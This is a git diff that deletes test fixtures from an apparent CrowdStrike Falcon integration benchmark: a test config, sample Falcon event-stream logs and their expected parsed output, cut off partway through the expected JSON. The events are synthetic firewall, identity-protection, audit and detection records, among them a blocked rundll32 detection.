-            "QuarantineFile": false,
-            "PolicyDisabled": true,
-            "KillParent": false,
-            "OperationBlocked": false,
-            "ProcessBlocked": true,
-            "RegistryOperationBlocked": false,
-            "CriticalProcessDisabled": false,
-            "BootupSafeguardEnabled": false,
-            "FsOperationBlocked": false
-        },
-        "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe",
-        "ParentCommandLine": "C:\\Windows\\Explorer.EXE",
-        "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe",
-        "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe"
-    }
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml
deleted file mode 100644
index 60eecfd47f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-multiline:
-  first_line_pattern: "^{"
-fields:
-  tags:
-    - preserve_original_event
-numeric_keyword_fields:
-  - crowdstrike.event.ExecutablesWritten.Timestamp
-  - crowdstrike.event.MobileAppsDetails.IsBeingDebugged
-  - crowdstrike.event.MobileAppsDetails.IsContainerized
-  - crowdstrike.event.NetworkAccesses.AccessTimestamp
-  - crowdstrike.event.NetworkAccesses.AccessType
-  - crowdstrike.event.NetworkAccesses.ConnectionDirection
-  - crowdstrike.event.NetworkAccesses.IsIPV6
-  - crowdstrike.event.NetworkAccesses.LocalPort
-  - crowdstrike.event.NetworkAccesses.RemotePort
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log
deleted file mode 100644
index e3f3350c38..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log
+++ /dev/null
@@ -1,10 +0,0 @@
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8693900,"eventType":"FirewallMatchEvent","eventCreationTime":1698921571000,"version":"1.0"},"event":{"DeviceId":"6734ff444f4456","CustomerId":"abcabcabc22222","Ipv":"ipv4","CommandLine":"System","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":true,"Monitor":true},"HostName":"INPUNEDITCLP229","ICMPCode":"","ICMPType":"","ImageFileName":"System","LocalAddress":"81.2.69.142","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"11111111","PolicyName":"PROD-FW-Workstations-Office-20201001","PolicyID":"3ec266b28bef471f9fd990e4f39ac829","Protocol":"6","RemoteAddress":"81.2.69.142","RemotePort":"53452","RuleAction":"2","RuleDescription":"","RuleFamilyID":"11111111aaaaaaaa","RuleGroupName":"SMBRules","RuleName":"InboundSMBBlock\u0026LogPrivate","RuleId":"4877172638743447345","Status":"","Timestamp":"2023-11-02T10:39:29Z","TreeID":"","Platform":"windows"}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8693906,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1698921607000,"version":"1.0"},"event":{"ContextTimeStamp":133433951380000000,"DetectId":"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged into a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222","StartTime":133433949600000000,"EndTime":133433949600000000,"Severity":34,"SeverityName":"Low","Tactic":"InitialAccess","Technique":"ValidAccounts","Objective":"Gain Access","SourceAccountDomain":"NA.AAA.ABC.com","SourceAccountName":"abc.service","SourceAccountUpn":"admin.service@example.com","SourceAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-175881","SourceEndpointAccountObjectGuid":"C078A5DA-E13B-4418-AA28-802EF8C16210","SourceEndpointAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-316681","SourceEndpointHostName":"nope122.na.net.ABC.com","SourceEndpointIpAddress":"81.2.69.142","SourceEndpointSensorId":"a2f1de586958434eb5e14e30214e17ed","ActivityId":"76CC8396-7148-4CEB-84CB-08FAFE4FAC37","PatternId":51135,"SourceVendors":"CrowdStrike","SourceProducts":"FalconIdentityProtection","DataDomains":"Identity"}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8694126,"eventType":"IdentityProtectionEvent","eventCreationTime":1698923523065,"version":"1.0"},"event":{"IncidentType":"Unusuallogintoanendpoint","IncidentDescription":"Unusuallogintoanendpoint","Severity":4,"SeverityName":"LOW","StartTime":1698923340000,"EndTime":1698923340000,"IdentityProtectionIncidentId":"7a79b2de-4e10-41fb-818f-2bdf53c1625a","UserName":"NA.NET.ABC.com\\abc.service","EndpointName":"itreg1d3wp8vh3.eu.net.ABC.com","EndpointIp":"","Category":"Detections","NumbersOfAlerts":1,"NumberOfCompromisedEntities":2,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A"}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8694676,"eventType":"AuthActivityAuditEvent","eventCreationTime":1698927699286,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"saml2Assert","ServiceName":"CrowdstrikeAuthentication","Success":true,"UTCTimestamp":1698927699,"AuditKeyValues":[{"Key":"target_user","ValueString":"admin.rose@example.com"},{"Key":"trace_id","ValueString":"19169200-76c5-4861-92f1-355d0a908f40"},{"Key":"saml_envelope","ValueString":"SampleValue"},{"Key":"saml_assertion","ValueString":"sampleassertion"},{"Key":"app_id","ValueString":"fa8e047e-2e60-4837-b987-c57020947cd6"},{"Key":"actor_user","ValueString":"admin.rose@example.com"},{"Key":"actor_user_uuid","ValueString":"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb"},{"Key":"actor_cid","ValueString":"abcabcabc22222"}],"Attributes":{"actor_cid":"abcabcabc22222","actor_user":"admin.rose@example.com","actor_user_uuid":"00000000-aaaa-480b-a05a-bb94ff5dc0fb","app_id":"aaaaaaaa-2e60-4837-b987-c57020947cd6","saml_assertion":"saml_assertion_sample","target_user":"admin.rose@example.com","trace_id":"000000-76c5-4861-92f1-355d0a908f40"}}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8694733,"eventType":"UserActivityAuditEvent","eventCreationTime":1698928127000,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"reveal_token","ServiceName":"sensor_update_policy","AuditKeyValues":[{"Key":"device_id","ValueString":"abcancancbanjjagjaj"},{"Key":"seedID","ValueString":"101"},{"Key":"message","ValueString":"Removeduplicatesensor."}],"UTCTimestamp":1698928127,"Attributes":{"device_id":"afjafanfafasfjaf","message":"Removeduplicatesensor.","seedID":"101"}}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8694992,"eventType":"ScheduledReportNotificationEvent","eventCreationTime":1698930172000,"version":"1.0"},"event":{"UserUUID":"9999999-bc3c-99bb-a05a-bb94ff5dc0fb","UserID":"admin.rose@example.com","ExecutionID":"efghtigh","ReportID":"999999ddddddddd","ReportName":"LarouxSearch","ReportType":"event_search","ReportFileReference":"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444","Status":1,"StatusMessage":"message","ExecutionMetadata":{"ExecutionStart":1698930019000,"ExecutionDuration":152176,"ReportFileName":"Laroux_Search_2023_November_2_13017_34176.csv","ResultCount":0,"ResultID":"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=","SearchWindowStart":1698843600000,"SearchWindowEnd":1698930000000}}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8695284,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8698239,"eventType":"IncidentSummaryEvent","eventCreationTime":1698971797000,"version":"1.0"},"event":{"IncidentStartTime":1698971797,"IncidentEndTime":1698971797,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj","State":"open","FineScore":6.1,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e","HostID":"4345454534534545"}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186,"MitreAttack":[{"Tactic":"DefenseEvasion","Technique":"Rundll32","PatternID":10186}]}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json
deleted file mode 100644
index 6223e02bb5..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json
+++ /dev/null
@@ -1,984 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-11-02T10:39:31.000Z",
-            "crowdstrike": {
-                "event": {
-                    "CustomerId": "abcabcabc22222",
-                    "DeviceId": "6734ff444f4456",
-                    "Flags": {
-                        "Audit": false,
-                        "Log": true,
-                        "Monitor": true
-                    },
-                    "MatchCount": 1,
-                    "MatchCountSinceLastReport": 1,
-                    "NetworkProfile": "2",
-                    "PolicyID": "3ec266b28bef471f9fd990e4f39ac829",
-                    "PolicyName": "PROD-FW-Workstations-Office-20201001",
-                    "Protocol": "6",
-                    "RuleAction": "2",
-                    "Timestamp": "2023-11-02T10:39:29Z"
-                },
-                "metadata": {
-                    "customerIDString": "abcabcabc22222",
-                    "eventType": "FirewallMatchEvent",
-                    "offset": 8693900,
-                    "version": "1.0"
-                }
-            },
-            "destination": {
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.142",
-                "port": 445
-            },
-            "device": {
-                "id": "6734ff444f4456"
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "firewall_match_event"
-                ],
-                "category": [
-                    "network"
-                ],
-                "code": "FirewallRuleIP4Matched",
-                "created": "2023-11-02T10:39:31.000Z",
-                "kind": "event",
-                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8693900,\"eventType\":\"FirewallMatchEvent\",\"eventCreationTime\":1698921571000,\"version\":\"1.0\"},\"event\":{\"DeviceId\":\"6734ff444f4456\",\"CustomerId\":\"abcabcabc22222\",\"Ipv\":\"ipv4\",\"CommandLine\":\"System\",\"ConnectionDirection\":\"1\",\"EventType\":\"FirewallRuleIP4Matched\",\"Flags\":{\"Audit\":false,\"Log\":true,\"Monitor\":true},\"HostName\":\"INPUNEDITCLP229\",\"ICMPCode\":\"\",\"ICMPType\":\"\",\"ImageFileName\":\"System\",\"LocalAddress\":\"81.2.69.142\",\"LocalPort\":\"445\",\"MatchCount\":1,\"MatchCountSinceLastReport\":1,\"NetworkProfile\":\"2\",\"PID\":\"11111111\",\"PolicyName\":\"PROD-FW-Workstations-Office-20201001\",\"PolicyID\":\"3ec266b28bef471f9fd990e4f39ac829\",\"Protocol\":\"6\",\"RemoteAddress\":\"81.2.69.142\",\"RemotePort\":\"53452\",\"RuleAction\":\"2\",\"RuleDescription\":\"\",\"RuleFamilyID\":\"11111111aaaaaaaa\",\"RuleGroupName\":\"SMBRules\",\"RuleName\":\"InboundSMBBlock\\u0026LogPrivate\",\"RuleId\":\"4877172638743447345\",\"Status\":\"\",\"Timestamp\":\"2023-11-02T10:39:29Z\",\"TreeID\":\"\",\"Platform\":\"windows\"}}",
-                "type": [
-                    "start",
-                    "connection",
-                    "denied"
-                ]
-            },
-            "host": {
-                "name": "INPUNEDITCLP229",
-                "os": {
-                    "platform": "windows"
-                }
-            },
-            "message": "Firewall Rule: 'InboundSMBBlock&LogPrivate' triggered - Action: 'Blocked'",
-            "network": {
-                "direction": "ingress",
-                "type": "ipv4"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "System"
-                ],
-                "command_line": "System",
-                "entity_id": "11111111",
-                "executable": "System",
-                "pid": 11111111
-            },
-            "related": {
-                "hosts": [
-                    "INPUNEDITCLP229"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ]
-            },
-            "rule": {
-                "category": "11111111aaaaaaaa",
-                "id": "4877172638743447345",
-                "name": "InboundSMBBlock&LogPrivate",
-                "ruleset": "SMBRules"
-            },
-            "source": {
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.142",
-                "port": 53452
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2023-11-02T10:40:07.000Z",
-            "crowdstrike": {
-                "event": {
-                    "ActivityId": "76CC8396-7148-4CEB-84CB-08FAFE4FAC37",
-                    "DataDomains": "Identity",
-                    "Objective": "Gain Access",
-                    "PatternId": "51135",
-                    "Severity": 34,
-                    "SeverityName": "Low",
-                    "SourceAccountUpn": "admin.service@example.com",
-                    "SourceEndpointAccountObjectGuid": "C078A5DA-E13B-4418-AA28-802EF8C16210",
-                    "SourceEndpointAccountObjectSid": "S-1-S-1-S-1-1111-1844237615-1801674531-316681",
-                    "SourceEndpointSensorId": "a2f1de586958434eb5e14e30214e17ed",
-                    "SourceProducts": "FalconIdentityProtection",
-                    "SourceVendors": "CrowdStrike"
-                },
-                "metadata": {
-                    "customerIDString": "abcabcabc22222",
-                    "eventType": "IdpDetectionSummaryEvent",
-                    "offset": 8693906,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "ipd-detection",
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-11-02T10:38:58.000Z",
-                "end": "2023-11-02T10:36:00.000Z",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8693906,\"eventType\":\"IdpDetectionSummaryEvent\",\"eventCreationTime\":1698921607000,\"version\":\"1.0\"},\"event\":{\"ContextTimeStamp\":133433951380000000,\"DetectId\":\"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222\",\"DetectName\":\"Unusual login to an endpoint\",\"DetectDescription\":\"A user logged into a machine for the first time\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222\",\"StartTime\":133433949600000000,\"EndTime\":133433949600000000,\"Severity\":34,\"SeverityName\":\"Low\",\"Tactic\":\"InitialAccess\",\"Technique\":\"ValidAccounts\",\"Objective\":\"Gain Access\",\"SourceAccountDomain\":\"NA.AAA.ABC.com\",\"SourceAccountName\":\"abc.service\",\"SourceAccountUpn\":\"admin.service@example.com\",\"SourceAccountObjectSid\":\"S-1-S-1-S-1-1111-1844237615-1801674531-175881\",\"SourceEndpointAccountObjectGuid\":\"C078A5DA-E13B-4418-AA28-802EF8C16210\",\"SourceEndpointAccountObjectSid\":\"S-1-S-1-S-1-1111-1844237615-1801674531-316681\",\"SourceEndpointHostName\":\"nope122.na.net.ABC.com\",\"SourceEndpointIpAddress\":\"81.2.69.142\",\"SourceEndpointSensorId\":\"a2f1de586958434eb5e14e30214e17ed\",\"ActivityId\":\"76CC8396-7148-4CEB-84CB-08FAFE4FAC37\",\"PatternId\":51135,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"FalconIdentityProtection\",\"DataDomains\":\"Identity\"}}",
-                "reference": "https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222",
-                "severity": 21,
-                "start": "2023-11-02T10:36:00.000Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "name": "nope122.na.net.ABC.com"
-            },
-            "message": "A user logged into a machine for the first time",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "nope122.na.net.ABC.com"
-                ],
-                "user": [
-                    "abc.service"
-                ]
-            },
-            "rule": {
-                "description": "A user logged into a machine for the first time",
-                "id": "abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222",
-                "name": "Unusual login to an endpoint",
-                "uuid": "51135"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "InitialAccess"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "ValidAccounts"
-                    ]
-                }
-            },
-            "user": {
-                "domain": "NA.AAA.ABC.com",
-                "id": "S-1-S-1-S-1-1111-1844237615-1801674531-175881",
-                "name": "abc.service"
-            }
-        },
-        {
-            "@timestamp": "2023-11-02T11:09:00.000Z",
-            "crowdstrike": {
-                "event": {
-                    "Category": "Detections",
-                    "NumberOfCompromisedEntities": 2,
-                    "NumbersOfAlerts": 1,
-                    "Severity": 4,
-                    "SeverityName": "LOW",
-                    "State": "NEW"
-                },
-                "metadata": {
-                    "customerIDString": "abcabcabc22222",
-                    "eventType": "IdentityProtectionEvent",
-                    "offset": 8694126,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Unusuallogintoanendpoint",
-                "category": [
-                    "iam"
-                ],
-                "created": "2023-11-02T11:12:03.065Z",
-                "end": "2023-11-02T11:09:00.000Z",
-                "id": "7a79b2de-4e10-41fb-818f-2bdf53c1625a",
-                "kind": "event",
-                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694126,\"eventType\":\"IdentityProtectionEvent\",\"eventCreationTime\":1698923523065,\"version\":\"1.0\"},\"event\":{\"IncidentType\":\"Unusuallogintoanendpoint\",\"IncidentDescription\":\"Unusuallogintoanendpoint\",\"Severity\":4,\"SeverityName\":\"LOW\",\"StartTime\":1698923340000,\"EndTime\":1698923340000,\"IdentityProtectionIncidentId\":\"7a79b2de-4e10-41fb-818f-2bdf53c1625a\",\"UserName\":\"NA.NET.ABC.com\\\\abc.service\",\"EndpointName\":\"itreg1d3wp8vh3.eu.net.ABC.com\",\"EndpointIp\":\"\",\"Category\":\"Detections\",\"NumbersOfAlerts\":1,\"NumberOfCompromisedEntities\":2,\"State\":\"NEW\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A\"}}",
-                "reference": "https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A",
-                "severity": 21,
-                "start": "2023-11-02T11:09:00.000Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "hostname": "itreg1d3wp8vh3.eu.net.ABC.com"
-            },
-            "message": "Unusuallogintoanendpoint",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "user": [
-                    "abc.service"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "NA.NET.ABC.com",
-                "name": "abc.service"
-            }
-        },
-        {
-            "@timestamp": "2023-11-02T12:21:39.000Z",
-            "crowdstrike": {
-                "event": {
-                    "Attributes": {
-                        "actor_cid": "abcabcabc22222",
-                        "actor_user": "admin.rose@example.com",
-                        "actor_user_uuid": "00000000-aaaa-480b-a05a-bb94ff5dc0fb",
-                        "app_id": "aaaaaaaa-2e60-4837-b987-c57020947cd6",
-                        "saml_assertion": "saml_assertion_sample",
-                        "target_user": "admin.rose@example.com",
-                        "trace_id": "000000-76c5-4861-92f1-355d0a908f40"
-                    },
-                    "AuditKeyValues": [
-                        {
-                            "Key": "target_user",
-                            "ValueString": "admin.rose@example.com"
-                        },
-                        {
-                            "Key": "trace_id",
-                            "ValueString": "19169200-76c5-4861-92f1-355d0a908f40"
-                        },
-                        {
-                            "Key": "saml_envelope",
-                            "ValueString": "SampleValue"
-                        },
-                        {
-                            "Key": "saml_assertion",
-                            "ValueString": "sampleassertion"
-                        },
-                        {
-                            "Key": "app_id",
-                            "ValueString": "fa8e047e-2e60-4837-b987-c57020947cd6"
-                        },
-                        {
-                            "Key": "actor_user",
-                            "ValueString": "admin.rose@example.com"
-                        },
-                        {
-                            "Key": "actor_user_uuid",
-                            "ValueString": "8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb"
-                        },
-                        {
-                            "Key": "actor_cid",
-                            "ValueString": "abcabcabc22222"
-                        }
-                    ],
-                    "OperationName": "saml2Assert",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "abcabcabc22222",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 8694676,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "saml2Assert"
-                ],
-                "category": [
-                    "iam"
-                ],
-                "created": "2023-11-02T12:21:39.286Z",
-                "kind": "event",
-                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694676,\"eventType\":\"AuthActivityAuditEvent\",\"eventCreationTime\":1698927699286,\"version\":\"1.0\"},\"event\":{\"UserId\":\"admin.rose@example.com\",\"UserIp\":\"81.2.69.144\",\"OperationName\":\"saml2Assert\",\"ServiceName\":\"CrowdstrikeAuthentication\",\"Success\":true,\"UTCTimestamp\":1698927699,\"AuditKeyValues\":[{\"Key\":\"target_user\",\"ValueString\":\"admin.rose@example.com\"},{\"Key\":\"trace_id\",\"ValueString\":\"19169200-76c5-4861-92f1-355d0a908f40\"},{\"Key\":\"saml_envelope\",\"ValueString\":\"SampleValue\"},{\"Key\":\"saml_assertion\",\"ValueString\":\"sampleassertion\"},{\"Key\":\"app_id\",\"ValueString\":\"fa8e047e-2e60-4837-b987-c57020947cd6\"},{\"Key\":\"actor_user\",\"ValueString\":\"admin.rose@example.com\"},{\"Key\":\"actor_user_uuid\",\"ValueString\":\"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb\"},{\"Key\":\"actor_cid\",\"ValueString\":\"abcabcabc22222\"}],\"Attributes\":{\"actor_cid\":\"abcabcabc22222\",\"actor_user\":\"admin.rose@example.com\",\"actor_user_uuid\":\"00000000-aaaa-480b-a05a-bb94ff5dc0fb\",\"app_id\":\"aaaaaaaa-2e60-4837-b987-c57020947cd6\",\"s